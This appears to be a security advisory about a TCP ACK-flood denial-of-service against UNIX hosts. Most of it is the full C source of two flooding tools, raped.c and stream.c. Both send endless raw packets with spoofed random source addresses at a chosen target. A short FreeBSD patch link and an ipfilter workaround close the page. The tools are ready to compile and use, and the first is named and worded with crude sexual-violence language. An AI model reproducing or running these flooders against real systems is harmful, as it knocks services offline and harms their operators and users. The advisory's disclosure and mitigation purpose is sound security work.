|
Brought to you by:
Suppliers of:
|
|
|
| |
| A new attack tool has been released, and although it merely floods the host with ACK's coming from random IPs with random sequence numbers, it has been discovered to cause many types of UNIX machine to stop responding. The ACK itself isn't too much of a problem, but the rate of incoming ACKs should be limited (the same idea as ICMP_BANDLIM). |
| |
Credit:
The information was provided by: Tim Yardley.
|
| |
Two exploit codes have been attached, both exploit the same vulnerability, but they do it differently, having different effects on different hosts.
-- start raped.c --
/*
* raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu]
* src: this is the old hose.c by prym, modified to suit my purposes
* exploits: the stream.c "problem", not.. i did not have the stream.c source when this was written
* this is just a reverse engineer based on discussion and tcp patches released.
* compile: this is a 5 minute hack, and a 30 minute test prog, treat it as such
* side note, this is obviously only for linux due to the header format.
*/
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
int ports, s, i;
char *dsthost;
unsigned long dst;
unsigned long portarray[255];
void
abort (void)
{
printf (":: exiting...\n\n");
close (s);
exit (0);
}
void
banner (void)
{
printf ("-------------------\n");
printf ("::\n");
printf (":: raped.c by lst\n");
printf ("::\n");
printf ("-------------------\n");
}
void
usage (char *progname)
{
printf ("usage: %s <dst> <ports>\n", progname);
printf ("\t<dst> - destination host\n");
printf ("\t<ports> - ports to flood\n\n");
exit (1);
}
void
parse_args (int argc, char *argv[])
{
dsthost = argv[1];
for (i = 2; i < argc; i++)
{
ports++;
portarray[ports] = atoi (argv[i]);
}
}
unsigned long
resolve_host (char *h)
{
struct hostent *host;
if ((host = gethostbyname (h)) == NULL)
{
printf (":: unknown host %s\n", h);
exit (1);
}
return *(unsigned long *) host->h_addr;
}
/* stolen from ping.c */
unsigned short
in_cksum (u_short * addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
void
send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen)
{
char buf[65536];
struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short tcplength;
}
ph;
struct sockaddr_in sin;
ph.saddr = ip->saddr;
ph.daddr = ip->daddr;
ph.mbz = 0;
ph.proto = IPPROTO_TCP;
ph.tcplength = htons (sizeof (*tcp) + dlen);
memcpy (buf, &ph, sizeof (ph));
memcpy (buf + sizeof (ph), tcp, sizeof (*tcp));
memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen);
memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4);
tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) +
dlen + 1) & ~1);
memcpy (buf, ip, 4 * ip->ihl);
memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp));
memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen);
memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4);
ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) +
dlen + 1) & ~1);
memcpy (buf, ip, 4 * ip->ihl);
sin.sin_family = AF_INET;
sin.sin_port = tcp->dest;
sin.sin_addr.s_addr = ip->daddr;
if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof
(sin)) < 0)
{
perror (":: error: sending syn packet");
exit (1);
}
}
int
main (int argc, char *argv[])
{
struct iphdr ip;
struct tcphdr tcp;
struct timeval tv;
struct sockaddr_in sin;
int blah = 1;
signal (SIGINT, (void (*)()) abort);
banner ();
if (argc < 3)
usage (argv[0]);
parse_args (argc, argv);
dst = resolve_host (dsthost);
srand (time (NULL));
printf (":: destination host - %s\n", dsthost);
printf (":: destination port(s)");
for (i = 1; i < ports + 1; i++)
printf (" - %d", portarray[i]);
printf ("\n");
if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror (":: error: can not open socket");
exit (1);
}
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof
(blah)) < 0)
{
perror (":: setsockopt");
exit (1);
}
ip.version = 4;
ip.ihl = 5;
ip.tos = 0x8;
ip.frag_off = 0;
ip.ttl = 255;
ip.protocol = IPPROTO_TCP;
ip.check = 0;
ip.daddr = dst;
tcp.res1 = 0;
tcp.fin = 0;
tcp.syn = 0;
tcp.rst = 0;
tcp.psh = 0;
/* make it an ACK packet */
tcp.ack = 1;
tcp.urg = 0;
tcp.res2 = 0;
tcp.urg_ptr = 0;
printf (":: raping...\n");
printf (":: press ^C to end...\n");
for (;;)
{
for (i = 1; i < ports + 1; i++)
{
ip.saddr = rand ();
ip.tot_len = sizeof (ip) + sizeof (tcp);
ip.id = htons (random ());
tcp.source = htons (1024 + rand () % 32000);
tcp.dest = htons (portarray[i]);
/* randomize seq */
tcp.seq = random ();
tcp.doff = sizeof (tcp) / 4;
tcp.window = htons (16384);
/* randomize ack */
tcp.ack_seq = random ();
send_tcp_segment (&ip, &tcp, "", 0);
}
}
return 1;
}
-- end raped.c --
-- start stream.c --
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.tcp.th_flags = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
for(i=0;;++i) {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
if (!dstport)
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream.c v1.0 - TCP Packet Storm\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
-- end stream.c --
Unoffical patch for FreeBSD:
http://www.freebsd.org/~alfred/tcp_fix.diff
Workaround:
If you use ipfilter add the following rule:
-- start rule set --
block in quick proto tcp from any to any head 100
pass in quick proto tcp from any to any flags S keep state group 100
pass in all
-- end rule set --
|
|
|
|
|